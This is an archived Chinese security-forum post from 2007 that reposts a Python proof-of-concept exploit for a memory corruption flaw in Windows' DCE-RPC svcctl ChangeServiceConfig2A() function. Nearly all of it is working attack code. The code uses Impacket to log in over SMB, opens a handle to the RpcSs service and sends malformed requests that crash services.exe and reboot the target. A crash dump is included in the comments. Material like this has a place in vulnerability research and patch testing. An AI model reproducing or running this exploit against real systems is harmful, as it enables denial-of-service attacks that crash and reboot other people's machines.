邪恶八进制信息安全团队技术讨论组's Archiver

pub!1c 2007-3-17 23:27

MS Windows DCE-RPC svcctl ChangeServiceConfig2A() Memory Corruption

[code]#!/usr/bin/python
# MS Windows DCE-RPC svcctl ChangeServiceConfig2A() 0day Memory Corruption PoC Exploit
# Bug discovered by Krystian Kloskowski (h07) <[email]h07@interia.pl[/email]>
# Tested on Windows 2000 SP4 Polish (all patches)
#
# Requires..
# - Impacket : [url]http://oss.coresecurity.com/projects/impacket.html[/url]
# - PyCrypto : [url]http://www.amk.ca/python/code/crypto.html[/url]
#
# Details:..
#
# [exploit] Session Setup AndX Request, User: Administrator -->    [target]
# [exploit] Session Setup AndX Response <--              [target]
# [exploit] Tree Connect AndX Request -->               [target]
# [exploit] Tree Connect AndX Response <--               [target]
# [exploit] NT Create AndX Request, Path: \svcctl -->         [target]
# [exploit] NT Create AndX Response, Fid: 0x4000 <--          [target]
# [exploit] DCERPC Bind UUID: SVCCTL -->                [target]
# [exploit] DCERPC Bind_ack <--                    [target]
# [exploit] SVCCTL OpenSCManagerW request -->             [target]
# [exploit] SVCCTL OpenSCManagerW response(handle) <--         [target]
# [exploit] SVCCTL OpenServiceW request -->              [target]
# [exploit] SVCCTL OpenServiceW response(handle) <--          [target]
# [exploit] SVCCTL ChangeServiceConfig2A(handle, 1, 1, 0x00000000) --> [target]
# [exploit] DCERPC Fault: status: unknwon(0xc00000fd) <--       [target]
# [exploit] SVCCTL ChangeServiceConfig2A(handle, 1, 1, 0x00000000) --> [target]
# [exploit] SMB Trans Response, Error: Unknown DoS Error <--      [target](crashed)
#
# [Module services]
# Exception C0000005 (ACCESS_VIOLATION reading [00000000])
# -------------------------------------------------------------
# EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
# EBX=004D83C0: 28 83 4D 00 48 84 4D 00-34 84 4D 00 48 61 08 00
# ECX=00000890: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
# EDX=00000001: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
# ESP=015BF8C0: 34 F9 5B 01 00 00 00 00-00 FB 5B 01 00 00 00 00
# EBP=015BF8F4: 30 F9 5B 01 AD 20 01 01-B8 FB 0D 00 01 00 00 00
# ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
# EDI=01017000: 90 9C 07 00 FF FF FF FF-00 00 00 00 00 00 00 00
# EIP=010108A8: FF 30 68 90 A5 00 01 FF-75 FC E8 CF 1D 00 00 8B
#        --> PUSH DWORD PTR [EAX]
#
# [Process services.exe terminated, system reboot]
#
# Just for fun ;]
##

from impacket.structure import Structure
from impacket.dcerpc import transport
from impacket import uuid
from random import randint
from time import sleep

host = &#39;192.168.0.1&#39;
username = &#39;Administrator&#39;
password = &#39;Administrator_Password&#39;

interface = (&#39;svcctl&#39;, &#39;367abb81-9844-35f1-ad32-98f038001003&#39;, &#39;2.0&#39;)

stringbinding = "ncacn_np:%(host)s[\\pipe\\%(pipe)s]"
stringbinding %= {
&#39;host&#39;: host,
&#39;pipe&#39;: interface[0],
}

# random dword
def dword_rand():
  s_dword = 256 ** 4
  return randint(0, s_dword)

# unicode string
def utf16(str):
  return str.encode(&#39;utf_16_le&#39;)

# MS RPC string
def rpcstr(str, id = 1, unicode_string = 1):
  class foo(Structure):
    alignment = 4
    structure = ()

    if(id == 1):
      structure += ((&#39;id&#39;, &#39;<L&#39;)),

    structure += (
      (&#39;max&#39;, &#39;<L&#39;),
      (&#39;offset&#39;, &#39;<L=0&#39;),
      (&#39;actual&#39;, &#39;<L&#39;),
      (&#39;str&#39;, &#39;%s&#39;),
    )

  query = foo()

  if(id == 1):
    query[&#39;id&#39;] = dword_rand()

  query[&#39;max&#39;] = len(str)
  query[&#39;actual&#39;] = len(str)

  if(unicode_string == 1):
    query[&#39;str&#39;] = utf16(str)
  else:
    query[&#39;str&#39;] = str

  return query

# MS RPC OpenSCManager
def OpenSCManager(host, access = 1):
  class foo(Structure):
    opnum = 0x0f
    structure = (
      (&#39;str1&#39;, &#39;:&#39;),
      (&#39;null&#39;, &#39;<L=0&#39;),
      (&#39;access&#39;, &#39;<L&#39;),
    )

  query = foo()
  query[&#39;str1&#39;] = rpcstr("\\\\%s\x00" % (host))
  query[&#39;access&#39;] = access

  return query

# MS RPC OpenServiceW
def OpenService(handle, service, access = 1):
  class foo(Structure):
    opnum = 0x10
    structure = (
      (&#39;handle&#39;, &#39;:&#39;),
      (&#39;str1&#39;, &#39;:&#39;),
      (&#39;access&#39;, &#39;<L&#39;),
    )

  query = foo()

  query[&#39;handle&#39;] = handle
  query[&#39;str1&#39;] = rpcstr("%s\x00" % (service), 0)
  query[&#39;access&#39;] = access

  return query

trans = transport.DCERPCTransportFactory(stringbinding)
trans.set_credentials(username, password)
trans.connect()
dce = trans.DCERPC_class(trans)
dce.bind(uuid.uuidtup_to_bin((interface[1], interface[2])))

query = OpenSCManager(host, access = 1)
dce.call(query.opnum, query)
raw = dce.recv()
handle = raw[:20]

query = OpenService(handle, "RpcSs", access = 0xF01FF)
dce.call(query.opnum, query)
raw = dce.recv()
handle = raw[:20]

##
# ChangeServiceConfig2A() [IDL code generated by mIDA v1.0.7]
#
# typedef struct struct_1 {
# long elem_1;
# [switch_is(elem_1)] union union_2 elem_2;
# } struct_1 ;
#
# typedef [switch_type( unsigned long )] union union_2 {
# [case(1)] struct struct_3 * elem_1;
# [case(2)] struct struct_4 * elem_2;
# } union_2;
#
# typedef struct struct_3 {
# [string] char * elem_1;
# } struct_3 ;
#
#
# /* opcode: 0x24, address: 0x0101203B */
#
# long sub_101203B (
# [in][context_handle] void * arg_1,
# [in] struct struct_1 arg_2
# );
##

class ChangeServiceConfig2A(Structure):
  opnum = 0x24
  structure = (
    (&#39;context_handle&#39;, &#39;:&#39;),
    (&#39;switch_is&#39;, &#39;<L=1&#39;),
    (&#39;case&#39;, &#39;<L=1&#39;),
    (&#39;struct_3&#39;, &#39;<L=0x00000000&#39;), # <-- vulnerable argument
   )

query = ChangeServiceConfig2A()
query[&#39;context_handle&#39;] = handle

for i in range(0, 2):
  dce.call(query.opnum, query)
  sleep(1)

dce.disconnect()

# EoF

[/code]

页: [1]
© 1999-2008 EvilOctal Security Team